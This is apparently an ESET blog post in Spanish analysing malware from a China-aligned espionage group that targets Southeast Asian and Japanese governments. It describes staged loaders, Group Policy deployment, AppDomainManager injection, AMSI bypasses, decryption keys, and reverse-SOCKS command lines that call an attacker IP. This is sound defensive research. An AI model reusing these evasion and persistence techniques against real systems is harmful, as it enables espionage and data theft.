LongNosedGoblin husmea en asuntos de gobierno del Sudeste Asiático y Japón

En 2024, investigadores de ESET detectaron malware previamente no documentado en la red de una entidad gubernamental del sudeste asiático. Este hallazgo nos llevó a descubrir aún más malware nuevo en el mismo sistema, ninguno de los cuales presentaba vínculos sustanciales con actores de amenazas previamente rastreados. Con base en nuestros hallazgos, atribuimos estas herramientas maliciosas a un nuevo grupo APT alineado con China, al que hemos denominado LongNosedGoblin.

El grupo emplea un conjunto variado de herramientas personalizadas, compuesto principalmente por aplicaciones desarrolladas en C#/.NET. En particular, utiliza Group Policy para desplegar su malware y moverse lateralmente dentro de los sistemas de las entidades objetivo. Esta entrada de blog detalla nuestro descubrimiento de LongNosedGoblin, repasa sus campañas conocidas y profundiza en el conjunto de herramientas del grupo.

Puntos clave del informe:

• LongNosedGoblin es un grupo APT recientemente descubierto, alineado con China, que tiene como objetivo entidades gubernamentales del sudeste asiático y Japón con fines de ciberespionaje. El grupo ha estado activo al menos desde septiembre de 2023.
• El grupo ha estado activo al menos desde septiembre de 2023.
• LongNosedGoblin emplea Group Policy para desplegar malware en redes comprometidas y utiliza servicios en la nube —como Microsoft OneDrive y Google Drive— como servidores de mando y control (C&C).
• Una de sus herramientas, NosyHistorian, recopila el historial del navegador para decidir dónde desplegar más malware, como el backdoor NosyDoor.
• Es probable que NosyDoor esté siendo compartida por múltiples actores de amenazas alineados con China.
• En esta entrada proporcionamos un análisis detallado de NosyHistorian, NosyDoor, NosyStealer, NosyDownloader, NosyLogger y otras herramientas utilizadas por LongNosedGoblin.

Huele a problemas: Presentación de LongNosedGoblin

LongNosedGoblin es un grupo APT alineado con China que apunta a entidades gubernamentales del sudeste asiático y Japón con el objetivo de llevar a cabo ciberespionaje. Como mencionamos anteriormente, en sus campañas LongNosedGoblin abusa de Group Policy —un mecanismo para gestionar la configuración y los permisos de equipos Windows, normalmente utilizado con Active Directory— para desplegar malware y moverse lateralmente por la red comprometida.

Una de las principales herramientas de su arsenal es NosyHistorian, una aplicación C#/.NET que el grupo utiliza para recopilar el historial del navegador, información que luego sirve para decidir dónde desplegar más malware. Esto incluye otra herramienta clave: el backdoor NosyDoor, que en las campañas observadas empleaba Microsoft OneDrive como servidor de C&C.

NosyDoor también incorpora técnicas de living-off-the-land en su cadena de ejecución, concretamente mediante la inyección de AppDomainManager. Por último, varias herramientas del grupo son capaces de eludir la Antimalware Scan Interface (AMSI), que permite a los productos antimalware analizar scripts antes de su ejecución.

Descubrimiento

En febrero de 2024, identificamos malware desconocido en el sistema de una entidad gubernamental del sudeste asiático. Este malware se utilizaba para desplegar un backdoor personalizado, que más tarde denominamos NosyDoor. Al mismo tiempo, descubrimos que el ataque no afectaba solo a una máquina, sino a varias dentro de la misma entidad, y que el despliegue se había realizado mediante Group Policy.

Un análisis adicional reveló que las mismas víctimas también estaban comprometidas por otra herramienta maliciosa distribuida a través de Group Policy, diseñada para recopilar el historial del navegador. A esta herramienta la denominamos NosyHistorian. Aunque encontramos numerosas víctimas afectadas por NosyHistorian entre enero y marzo de 2024, solo un pequeño subconjunto también estaba comprometido por NosyDoor. Algunas muestras del dropper de NosyDoor incluso incluían execution guardrails para limitar la operación a máquinas específicas.

Más adelante, identificamos aún más malware desconocido en las máquinas afectadas: NosyStealer, que exfiltra datos del navegador; NosyDownloader, que descarga y ejecuta un payload en memoria; NosyLogger, un keylogger.

Otras herramientas, como un proxy SOCKS5 inverso y un argument runner (una utilidad que ejecuta una aplicación pasada como argumento), utilizada para ejecutar un grabador de vídeo —probablemente FFmpeg— para capturar audio y vídeo.

Atribución

Debido al conjunto de herramientas único, junto con el uso de Group Policy para el movimiento lateral, atribuimos los ataques a un nuevo grupo APT alineado con China, al que denominamos LongNosedGoblin. Observamos cierto solapamiento en las rutas de archivos mencionadas en una entrada del blog de Kaspersky sobre la actividad de ToddyCat, un grupo APT con objetivos similares; sin embargo, el malware descrito en ese informe carece de similitud de código con el analizado aquí.

También cabe destacar que, en junio de 2025, la empresa rusa de ciberseguridad Solar publicó un blog sobre un grupo APT denominado Erudite Mogwai, que utilizaba un payload muy similar a NosyDoor de LongNosedGoblin. Según Solar, Erudite Mogwai tenía como objetivo la infraestructura de TI de una organización gubernamental rusa y de empresas de TI rusas, y empleaba el backdoor LuckyStrike Agent en sus operaciones.

No obstante, no podemos confirmar que Erudite Mogwai y LongNosedGoblin sean el mismo grupo, ya que existen diferencias claras en sus TTPs. En particular, la investigación sobre Erudite Mogwai no menciona el abuso de Group Policy de Active Directory para el despliegue de malware, una técnica característica de las operaciones de LongNosedGoblin.

Más adelante, identificamos otra variante de NosyDoor dirigida a una organización en un país de la UE, que empleaba diferentes TTPs y utilizaba el servicio en la nube Yandex Disk como servidor de C&C. El uso de esta variante sugiere que el malware podría estar compartido entre varios grupos alineados con China. Esta hipótesis se ve reforzada por la observación de Solar de la palabra Paid en la ruta PDB de NosyDoor, lo que indica que el malware podría comercializarse como servicio, posiblemente vendido o licenciado a otros actores de amenazas.

Campañas posteriores

A lo largo de 2024, LongNosedGoblin desplegó activamente NosyDownloader en el sudeste asiático. En diciembre del mismo año, detectamos una versión actualizada de NosyHistorian en Japón, aunque no observamos actividad posterior.

En septiembre de 2025, comenzamos a ver una nueva oleada de actividad del grupo en el sudeste asiático. Al igual que en campañas anteriores, el actor utilizó Group Policy para distribuir NosyHistorian a los equipos objetivo.

Durante esta campaña, observamos comportamientos consistentes con el uso de Cobalt Strike: se descargó un loader denominado oci.dll en un único equipo, con un payload llamado ocapi.edb cargada desde el disco.

Posteriormente, LongNosedGoblin desplegó este loader potencial de Cobalt Strike en máquinas seleccionadas mediante Group Policy.

Además, identificamos otro componente similar, mscorsvc.dll, cuyo payload estaba almacenado en conf.ini. Este loader se distribuyó en los equipos de las víctimas utilizando el mismo mecanismo de entrega que oci.dll.

Curioseando: Herramientas de LongNosedGoblin

NosyHistorian

NosyHistorian es una aplicación C#/.NET con un nombre interno autoexplicativo: GetBrowserHistory, ya que su función principal es recopilar el historial del navegador. En las campañas observadas, los atacantes utilizaron esta herramienta para obtener información sobre las máquinas dentro de la infraestructura comprometida. Basándose en esta información, seleccionaron un pequeño subconjunto de víctimas específicas para comprometerlas aún más con su backdoor NosyDoor.

Observamos que la herramienta se desplegaba mediante Group Policy bajo el nombre de archivo History.ini, disfrazada como un archivo INI. En realidad, se trata de un archivo ejecutable portátil (PE), probablemente con el objetivo de mezclarse con otros archivos INI comúnmente almacenados en el directorio caché de Group Policy.

NosyHistorian itera sobre todos los usuarios de la máquina y recupera el historial de los navegadores Google Chrome, Microsoft Edge y Mozilla Firefox. Cada archivo de base de datos del historial se copia en un directorio temporal y luego se carga en un recurso compartido SMB específico, codificado dentro de la red local de la organización comprometida. El nombre de archivo que utiliza NosyHistorian para el historial de cada navegador web se indica en la Tabla 1, donde <profile_name>  corresponde a los perfiles de los navegadores.

Tabla 1. Nombres de archivos del historial creados por NosyHistorian

Tanto esta herramienta como NosyDoor tienen rutas PDB similares y fueron compiladas desde el directorio E:\Csharp, siendo la ruta PDB de NosyHistorian: E:\Csharp\SharpMisc\GetBrowserHistory\obj\Debug\GetBrowserHistory.pdb.

NosyDoor

Como se indicó anteriormente, el backdoor NosyDoor utiliza servicios en la nube, como Microsoft OneDrive, como servidor de C&C. El malware tiene una cadena de ejecución de tres etapas relativamente sencilla, como se muestra en la Figura 1: La primera etapa es un dropper que despliega la segunda etapa,un ataque en vivo utilizando la técnica de inyección AppDomainManager, que a su vez se utiliza en la tercera etapa para ejecutar el payload final: el backdoor en sí.

NosyDoor recopila metadatos sobre la máquina de la víctima, incluidos el nombre del equipo, el nombre de usuario, la versión del sistema operativo y el nombre del proceso actual, y los envía al C&C. Luego recupera y analiza datos adicionales de la máquina comprometida, así como archivos de tareas con comandos provenientes del C&C. Estos comandos permiten filtrar archivos, borrar archivos y ejecutar comandos shell, entre otras acciones.

Cadena de ejecución de NosyDoor

NosyDoor Etapa 1 - dropper

La primera etapa del malware es un dropper, concretamente una aplicación C#/.NET con el nombre interno OneClickOperation. Al igual que NosyHistorian, se despliega a través de una directiva de grupo. Hemos visto que el dropper se hace pasar por un archivo de Política de Registro utilizando el nombre de archivo Registry.pol, aunque también hemos observado Registry.plo, que es poco común (podría ser un error tipográfico, o tal vez los actores de la amenaza no querían que el nombre de archivo entrara en conflicto con otro archivo malicioso)

El dropper decodifica en base64 los archivos incrustados y los desencripta mediante Data Encryption Standard (DES) con la clave y el vector de inicialización establecidos en UevAppMo (los primeros ocho bytes de la cadena UevAppMonitor), y luego los suelta en C:\Windows\Microsoft.NET\Framework con los siguientes nombres de archivo:

• SharedReg.dll
• log.cached
• netfxsbs9.hkf
• UevAppMonitor.exe.config

Estos nombres de archivo han sido elegidos deliberadamente para mezclarse con los archivos existentes, ya que el directorio normalmente contiene archivos llamados SharedReg12.dll y netfxsbs12.hkf.

En sus pasos finales, el dropper crea e inicia una tarea programada de Windows con el nombre OneDrive Reporting Task-S-1-5-21-<GUID> en la carpeta de tareas de Microsoft, donde <GUID> es una cadena GUID aleatoria. La tarea programada es responsable de ejecutar el archivo legítimo UevAppMonitor.exe en el directorio C:\Windows\Microsoft.NET\Framework durante el inicio del sistema. El dropper copia el archivo legítimo de C:\Windows\System32\ a la nueva ubicación.

Las muestras más recientes también incluyen una barrera de seguridad de ejecución que hace que el dropper sólo funcione en los ordenadores de las víctimas con un nombre de máquina específico (véase la Figura 2).

NosyDoor Etapa 2 - Inyección de AppDomainManager

UevAppMonitor.exe es una aplicación C#/.NET legítima, que el malware copió del directorio C:\Windows\System32\ al directorio C:\Windows\Microsoft.NET\Framework y utilizó como binario viviente, o LOLBin. Los ataques Living-off-the-land abusan de herramientas legítimas ya presentes en el sistema. En este caso, la aplicación se utiliza para activar la inyección de AppDomainManager a través de un archivo de configuración. Esta técnica puede hacer que las aplicaciones creadas en el marco .NET carguen código malicioso en lugar del código legítimo previsto haciendo uso de la clase AppDomainManager.

Cuando se ejecuta la aplicación, se carga el archivo de configuración mostrado en la Figura 3, que hace que la aplicación llame al método InitializeNewDomain de la clase personalizada SharedReg en SharedReg.dll. La configuración también establece el atributo enabled del elemento <etwEnable> en false para que el seguimiento de eventos para Windows esté deshabilitado.

Contenido de UevAppMonitor

SharedReg.dll contiene código para evitar AMSI, de un marco de evasión AV/EDR de código abierto llamado inceptor. Aparte de eso, decodifica en base64 el archivo netfxsbs9.hkf, desencripta el resultado vía AES con la clave UevAppMonitor, rellenada con bytes nulos hasta que su longitud es 16, vector de inicialización 0, y finalmente decodifica en base64 el resultado de nuevo. El resultado es NosyDoor, que se ejecuta a continuación. Cualquier error se escribe en el archivo error.txt en el directorio C:\Windows\Microsoft.NET\Framework.

NosyDoor Etapa 3 - payload

La tercera etapa de NosyDoor, el payload principal, es un backdoor C#/.NET con el nombre interno OneDrive y con la ruta PDB E:\Csharp\Thomas\Server\ThomasOneDrive\obj\Release\OneDrive.pdb. Como su nombre indica, el backdoor utiliza servicios en la nube, en este caso Microsoft OneDrive, como servidor de C&C.

La lista completa de metadatos que recopila el backdoor es la siguiente:

• dirección IPv4 externa,
• dirección IPv4 local,
• iD de agente,
• nombre de usuario,
• nombre de la máquina,
• directorio actual,
• proceso actual (nombre, ID, arquitectura),
• hora de inicio local de la fase 3,
• hora local actual,
• Versión del sistema operativo,
• CodeType (ver Tabla 3), y
• AgentType (ver Tabla 3).

Todos los metadatos recopilados se cifran mediante RSA y luego se suben a OneDrive como el archivo Read_<agent_id>.max. Una vez que NosyDoor envía los metadatos, busca comandos del C&C en archivos de tareas con extensiones .max en el siguiente directorio:

<FolderName>-<ListenerID>/<agent_id>/<Payload.TaskFolderName>

Cada archivo de tarea contiene un comando cifrado, que se encapsula con valores tomados de la configuración del backdoor:

<Payload.Prepend><Payload.PayloadPrepend><comando_encriptado><Payload.PayloadAppend><Payload.Append>

A continuación, el comando se decodifica con base64 y se desencripta mediante AES con la clave <Payload.Key> y el vector de inicialización 0. Todos los comandos se describen en la Tabla 2. Aunque el comando CMD_TYPE_TASKSCHEDULER se menciona en el código, no se implementa en ninguna de las muestras observadas.

Tabla 2. Comandos soportados por NosyDoor

Después de ejecutar el comando, NosyDoor realiza los pasos inversos - encripta la salida del comando usando AES, codifica con base64, y encapsula con las cadenas <Payload.Prepend><Payload.PayloadPrepend> y <Payload.PayloadAppend><Payload.Append>. Cada resultado se almacena en el servidor C&C en un archivo cuyo nombre especifica la hora local (marca de tiempo Unix multiplicada por 100.000) y termina con la extensión .max:

<FolderName>-<ListenerID>/<agent_id>/<Payload.ReceiveFolderName>/<unix_timestamp>.max

Si se produce una excepción durante el funcionamiento de NosyDoor, el backdoor escribe el mensaje de excepción junto con la hora local en C:\Users\Public\Libraries\thomas.log.

El backdoor contiene una dependencia personalizada llamada Library que se incrusta como un recurso mediante el uso de Costura. Contiene principalmente código relacionado con el procesamiento de comandos, la comunicación con Microsoft OneDrive y varios métodos de ayuda, mientras que el binario principal maneja el bucle de balizamiento y lee un archivo de configuración, utilizando la biblioteca.

La configuración se almacena en el archivo log.cached de forma encriptada. NosyDoor la descifra mediante XOR con la clave SecretKey, la descifra en base64, y luego la descifra mediante AES con la clave Thomas, rellenada con bytes nulos hasta que su longitud sea 16, e IV 0. Esta configuración puede verse en la Figura 4.

{{CODE_BLOCK_0}}

Figura 4. Configuración descifrada (log.cached, embellecido)

Los valores de configuración <BeginDate> y <EndDate> especifican el intervalo de tiempo local en el que opera NosyDoor. En este caso, NosyDoor sólo está activo entre las 8:51 am y las 6:51 pm. Sin embargo, una vez autenticado, NosyDoor procesará los comandos que aún estén pendientes en una cola y enviará los archivos de respuesta independientemente de la hora que sea.

NosyStealer

NosyStealer se utiliza para robar datos del navegador de Microsoft Edge y Google Chrome. Como se ilustra en la Figura 5, tiene una cadena de ejecución de cuatro etapas, siendo el componente stealer el payload de la etapa final.

Cadena de ejecución de NosyStealer

NosyStealer Etapa 1 - Loader DLL

La primera etapa(pmp.exe) de la cadena NosyStealer es una aplicación C/C++. La muestra observada simplemente carga una biblioteca llamada SERV.dll desde el disco y llama a la función exportada Hello.

Etapa 2 del NosyStealer - inyector

Hemos observado dos muestras NosyStealer Stage 2 - una(SERV.dll) en nuestra telemetría, y la otra(msi.dll) subida a VirusTotal desde Malasia. Ninguna tiene la función exportada Hello, pero ambas tienen el código principal en DllMain, es decir, el código malicioso se ejecuta justo después de cargar la DLL. Tienen las siguientes exportaciones:

• ??0Cv2dllnoinject@@QEAA@XZ
• 4Cv2dllnoinject@@QEAAAEAV0@$$QEAV0@@Z
• 4Cv2dllnoinject@@QEAAAEAV0@AEBV0@@Z
• fnv2dllnoinject@@YAHXZ
• ?nv2dllnoinject@@3HA

Los datos de la siguiente fase se cargan desde la ruta codificada C:\ProgramData\Microsoft\WDF\MDE.dat. Se descifra mediante un cifrado XOR de un byte con clave 0x7A. El resultado es Donut shellcode que se inyecta en el proceso pmp.exe en ejecución (NosyStealer Stage 1) utilizando la API CreateRemoteThread en el caso SERV.dll, y en un proceso notepad.exe recién creado utilizando la API SetThreadContext en el caso msi.dll.

NosyStealer Etapa 3 - loader

Como se mencionó en la secciónNosyStealer Etapa 2 - inyector , esta etapa es shellcode que contiene un archivo PE incrustado que se descifra, carga y ejecuta en memoria utilizando el loader reflexivo de Donut. El binario extraído es una aplicación C/C++.

Al igual que la etapa 2 de NosyDoor - inyección de AppDomainManager, esta etapa utiliza una técnica conocida para eludir AMSI. Parchea la función AmsiScanBuffer en la amsi.dll cargada con código que devuelve E_INVALIDARG (ver Figura 6).

Código descompilado de Hex-Rays

A continuación, crea una tarea programada de Windows con el nombre Daily Check Task que ejecuta C:\ProgramData\Microsoft\WDF\pmp.exe (NosyStealer Stage 1) todos los días con permisos de la cuenta local del sistema.

Tras parchear la función AMSI y persistir, continúa de forma similar a la etapa anterior: descifra la siguiente etapa desde la ruta codificada C:\ProgramData\Microsoft\WDF\mfd.dat mediante un cifrado XOR de un byte con clave 0x7A, donde el blob resultante es otro shellcode Donut, que se ejecuta a continuación.

NosyStealer Etapa 4 - payload

De nuevo, al igual que la etapa 3 del NosyStealer - loader, esta etapa es un shellcode que descifra, carga y ejecuta un archivo PE incrustado en la memoria utilizando el  loader reflexivo de Donut. Esta vez, el binario extraído es una aplicación Go que roba datos del navegador de los navegadores web Microsoft Edge y Google Chrome. Para ello, descarga un archivo llamado config desde Google Docs. Cuando el archivo contiene el ID de la víctima, NosyStealer lee los datos de perfil de Microsoft Edge y Google Chrome, los archiva con tar y los cifra con un cifrado personalizado.

A continuación, NosyStealer exfiltra el archivo tar cifrado a Google Drive. La figura 7 es un ejemplo de la configuración con formato JSON, incrustada en el binario, necesaria para acceder a Google Drive y Google Docs.

{
  "type": "service_account",
  "project_id": "dev0-411506",
  "private_key_id": "[redacted]",
  "private_key": "[redacted]",
  "client_email": "dev0-660@dev0-411506.iam.gserviceaccount.com",
  "client_id": "[redacted]",
  "auth_uri": "https://accounts.google.com/o/oauth2/auth",
  "token_uri": "https://oauth2.googleapis.com/token",
  "auth_provider_x509_cert_url": "https://www.googleapis.com/oauth2/v1/certs",
  "client_x509_cert_url": 
"https://www.googleapis.com/robot/v1/metadata/x509/dev0-660%40dev0-411506.iam.gserviceaccount.com",
  "universe_domain": "googleapis.com"
}

Figura 7. Configuración de NosyStealer

NosyStealer también registra errores y mensajes de estado en un archivo de Google Docs llamado log, que puede incluir información de más de una víctima. El mensaje de estado incluye la constante 9, posiblemente una indicación de la versión de NosyStealer. El formato completo del mensaje de estado, donde <machine_local_ips> representa una lista de direcciones IPv4 locales de los adaptadores de red, es el siguiente:

<fecha_local> - <id_víctima> - 9 - heartbeat <machine_local_ips>

NosyDownloader

Analizando los datos de telemetría de ESET, también encontramos en las redes comprometidas por LongNosedGoblin varias aplicaciones originalmente benignas que habían sido parcheadas con código malicioso. Este código contiene un downloader que denominamos NosyDownloader, que ejecuta una cadena de comandos ofuscados pasados a un proceso PowerShell generado como un argumento de línea de comandos largo, lo que significa que el script no se almacena en el disco. Cada etapa subsiguiente se codifica con base64, y la última se desinfla adicionalmente con gzip.

Cada etapa se describe brevemente en la Tabla 3. Al igual que NosyDoor Etapa 2 y NosyStealer Etapa 3, la segunda etapa también evita AMSI. En este caso, NosyDownloader utiliza el método de reflexión de Matt Graeber y las técnicas de desactivación del registro de scripts disponibles en GitHub para evitar AMSI.

Tabla 3. Etapas del script NosyDownloader

Sospechamos que NosyDownloader fue usado para desplegar ReverseSocks5, NosyLogger, y un argument runner, ya que los vimos en el lapso de una semana después de que NosyDownloader fuera ejecutado.

NosyLogger

También identificamos un keylogger C#/.NET al que llamamos NosyLogger. Parece ser una versión modificada del keylogger de código abierto DuckSharp, con las principales diferencias de que no envía correos electrónicos ni traduce las claves registradas al alfabeto cirílico.

El malware comprueba inicialmente si hay un depurador presente a través de las API IsDebuggerPresent y CheckRemoteDebuggerPresent; si no es así, comienza su funcionalidad de keylogging.

El nombre de la ventana, las teclas pulsadas y el contenido del portapapeles pegado se acumulan en la memoria. NosyLogger cifra estos lotes de datos utilizando AES con la clave D53FCC01038E20193FBD51B7400075CF7C9C4402B73DA7B0DB836B000EBD8B1C y un vector de inicialización generado aleatoriamente de longitud fija, donde el vector se anexa al lote de datos cifrados. A continuación, el lote de datos cifrados se adjunta al archivo en la ubicación codificada C:\Windows\Temp\TS_D418.tmp en formato de cadena hexadecimal. En ese archivo, cada lote de datos cifrados está separado por una nueva línea seguida de la cadena ENDBLOCK. Este proceso de encriptación y almacenamiento de los datos acumulados en el fichero tiene lugar cada 10 segundos. Este archivo no es filtrado por NosyLogger.

Otras herramientas desplegadas

ReverseSocks5

Entre otros programas maliciosos desplegados por LongNosedGoblin, encontramos un proxy SOCKS5 inverso de código abierto, escrito en Go, llamado ReverseSocks5. Lo descubrimos cuando observamos que se utilizaban los siguientes argumentos de línea de comandos:

-connect 118.107.234[.]29:8080 -psk "58fi04qQ" /F

La opción -psk se utiliza para establecer una clave precompartida para el cifrado y la autenticación. El argumento /F no es manejado por ReverseSocks5 y es probablemente involuntario; este argumento es comúnmente usado con schtasks create.

A continuación, observamos otro conjunto de argumentos de línea de comandos (que ya no tienen el argumento /F ):

-connect 118.107.234[.]29:8080 -psk "15Kaf22N3b"

Este segundo conjunto corresponde a la ejecución de ReverseSocks5, donde observamos PowerShell como proceso padre. NosyDownloader también se ejecutó durante este tiempo, lo que indica que la muestra probablemente se desplegó con él.

Corredor de argumentos

Esta es una aplicación C#/.NET con nombre interno Binary; el único propósito de esta herramienta es ejecutar una aplicación pasada como argumento. Vimos el nombre de archivo TCOEdge.exe como parte de la línea de comandos junto con argumentos que son específicos del marco multimedia FFmpeg; se utilizó para grabar la pantalla y capturar audio, guardándolo en C:\Windows\Temp\output.avi.

Conclusión

LongNosedGoblin es un grupo APT alineado con China que tiene como objetivo entidades gubernamentales del sudeste asiático y Japón. Nuestro análisis de sus campañas reveló numerosas piezas de malware personalizado, que el grupo utiliza para llevar a cabo ciberespionaje contra sus víctimas. En particular, LongNosedGoblin emplea directivas de grupo para realizar movimientos laterales dentro de la red comprometida.

Para cualquier consulta sobre nuestra investigación publicada en WeLiveSecurity, por favor contáctenos en threatintel@eset.com.

ESET Research ofrece informes privados de inteligencia APT y fuentes de datos. Para cualquier consulta sobre este servicio, visite la página de ESET Threat Intelligence.

IoCs

Puede encontrar una lista completa de indicadores de compromiso (IoC) y muestras en nuestro repositorio de GitHub.

Archivos

Red

Técnicas ATT&CK de MITRE

Esta tabla se ha elaborado utilizando la versión 18 del marco MITRE ATT&CK.